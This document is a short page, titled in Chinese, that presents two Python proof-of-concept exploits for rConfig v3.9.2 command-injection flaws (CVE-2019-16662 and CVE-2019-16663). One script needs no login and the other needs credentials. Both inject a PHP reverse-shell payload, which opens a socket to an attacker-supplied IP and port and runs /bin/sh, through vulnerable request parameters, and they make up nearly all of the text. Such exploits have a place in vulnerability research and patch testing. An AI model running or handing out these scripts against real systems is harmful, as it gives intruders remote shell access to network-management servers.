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CVE-2019-16662 rConfig 远程命令执行漏洞

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POC1

#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
    print "+ Usage : ./exploit.py target ip port"
    exit()

target = sys.argv1

ip = sys.argv2

port = sys.argv3

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

install_path = target + "/install"

req = requests.get(install_path, verify=False)
if req.status_code == 404:
    print "- Installation directory not found!"
    print "- Exploitation failed !"
    exit()
elif req.status_code == 200:
    print "+ Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "+ Triggering the payload"
print "+ Check your listener !"

requests.get(url_to_send, verify=False)

POC2

#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22


import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning


requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 6:
    print "+ Usage : ./exploit.py target username password ip port"
    exit()

target = sys.argv1

username = sys.argv2

password = sys.argv3

ip = sys.argv4

port = sys.argv5

request = requests.session()

login_info = {
    "user": username,
    "pass": password,
    "sublogin": 1
}

login_request = request.post(
    target+"/lib/crud/userprocess.php",
     login_info,
     verify=False,
     allow_redirects=True
 )

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)


if dashboard_request.status_code == 200:
    print "+ LoggedIn successfully"
    payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
    encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
    print "+ triggering the payload"
    print "+ Check your listener !"
    exploit_req = request.get(encoded_request)

elif dashboard_request.status_code == 302:
    print "- Wrong credentials !"
    exit()

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